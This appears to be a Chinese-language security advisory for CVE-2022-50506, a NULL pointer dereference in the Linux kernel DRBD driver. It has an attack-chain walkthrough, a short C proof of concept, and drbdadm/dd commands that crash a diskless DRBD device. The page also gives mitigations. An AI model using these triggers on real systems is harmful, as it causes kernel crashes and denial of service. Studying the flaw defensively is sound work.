IPBUF安全漏洞报告
English
CVE-2022-50506 CVSS 5.5 中危

CVE-2022-50506 Linux内核DRBD驱动空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50506
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(DRBD分布式复制块设备驱动)

相关标签

空指针解引用Linux KernelDRBD本地拒绝服务内核漏洞CVE-2022-50506NULL Pointer Dereference块设备驱动中等严重性

漏洞概述

CVE-2022-50506是Linux内核DRBD(Distributed Replicated Block Device,分布式复制块设备)驱动中的一个空指针解引用漏洞。该漏洞源于commit c347a787e34cb(drbd: set ->bi_bdev in drbd_req_new)将bio_set_dev调用从drbd_request_prepare函数前移到drbd_req_new函数中。在此过程中,代码访问了device->ldev->backing_bdev指针,但该指针在此处未进行NULL检查。当DRBD设备处于无磁盘(diskless)状态时,即没有关联的ldev(逻辑设备)时,访问backing_bdev将导致空指针解引用,可能引发内核崩溃(kernel panic)或拒绝服务(DoS)。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可触发此漏洞,无需用户交互,主要影响系统的可用性。该漏洞已在Linux内核的稳定版本中通过补丁05580a3bbf3cec677cb00a85dfeb21d6a9b48eaf和6d42ddf7f27b6723549ee6d4c8b1b418b59bf6b5得到修复。修复方案是在确认存在磁盘设备(即ldev有效)后才分配private_bio,避免在无磁盘情况下进行不必要的bio克隆操作。

技术细节

该漏洞的技术原理如下:在DRBD驱动中,bio(Block I/O)是块设备I/O操作的基本数据结构。commit c347a787e34cb将bio_set_dev调用从drbd_request_prepare前移到drbd_req_new函数,目的是更早地设置bi_bdev字段。然而,drbd_req_new函数中访问了device->ldev->backing_bdev来获取后备块设备指针,但未对ldev进行NULL检查。在DRBD的无磁盘(diskless)模式下,ldev为NULL,因此访问ldev->backing_bdev将触发空指针解引用,导致内核崩溃。

利用方式:
1. 攻击者需要本地访问目标系统,并具有低权限(PR:L)。
2. 攻击者需要配置或访问处于diskless状态的DRBD设备。
3. 当对diskless的DRBD设备发起I/O请求时,内核会调用drbd_req_new函数。
4. 在drbd_req_new中,代码尝试访问device->ldev->backing_bdev,由于ldev为NULL,触发空指针解引用。
5. 内核崩溃,导致系统拒绝服务。

修复方案是仅在确实存在磁盘设备(即ldev有效)时才分配private_bio,这样不仅修复了空指针解引用问题,还避免了不必要的bio克隆操作(因为在diskless情况下,克隆的bio会立即被释放)。

攻击链分析

STEP 1
步骤1:获取本地访问
攻击者需要获得目标Linux系统的本地访问权限,并具有低权限用户账户(PR:L)。
STEP 2
步骤2:配置或识别DRBD设备
攻击者识别系统上存在的DRBD设备,或配置新的DRBD资源,并将其设置为diskless(无后备设备)状态。
STEP 3
步骤3:触发I/O请求
对处于diskless状态的DRBD设备发起I/O操作(如read/write/ioctl),触发drbd_req_new函数的调用路径。
STEP 4
步骤4:触发空指针解引用
在drbd_req_new函数中,代码访问device->ldev->backing_bdev,由于ldev为NULL,导致空指针解引用,引发内核崩溃。
STEP 5
步骤5:拒绝服务
内核崩溃导致系统不可用,实现本地拒绝服务攻击(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2022-50506: Trigger NULL pointer dereference in DRBD driver // This PoC demonstrates how to trigger the vulnerability by accessing // a diskless DRBD device. #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/drbd.h> // Note: This vulnerability requires kernel-level access to DRBD devices. // The following demonstrates the conceptual trigger path. int main() { int fd; struct drbd_device *device; // Step 1: Open a DRBD device (e.g., /dev/drbd0) fd = open("/dev/drbd0", O_RDWR); if (fd < 0) { perror("Failed to open DRBD device"); return -1; } // Step 2: Ensure the device is in diskless state (no backing device) // This can be done via: // drbdsetup primary <resource> --diskless // or by detaching the backing device: // drbdadm detach <resource> // Step 3: Attempt I/O operation on the diskless DRBD device // This will trigger drbd_req_new -> access ldev->backing_bdev // -> NULL pointer dereference -> kernel panic char buf[4096]; ssize_t ret = read(fd, buf, sizeof(buf)); if (ret < 0) { perror("I/O operation failed (likely triggered the bug)"); } close(fd); return 0; } // Alternative: Use drbdsetup/drbdadm commands to trigger: // 1. drbdadm up <resource> // 2. drbdadm primary <resource> // 3. drbdadm detach <resource> # Make device diskless // 4. dd if=/dev/drbd0 of=/dev/null bs=4096 count=1 # Trigger NULL deref

影响范围

Linux Kernel(包含commit c347a787e34cb的所有受影响版本,具体取决于发行版)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)限制本地用户对DRBD设备的访问权限,确保只有可信用户才能操作DRBD资源;2)避免将DRBD设备配置为diskless状态,或在使用完毕后及时附加后备设备;3)通过系统监控工具(如auditd)监控对DRBD设备的异常访问;4)使用SELinux或AppArmor等强制访问控制机制限制对DRBD设备的访问;5)监控系统日志,及时发现内核崩溃事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表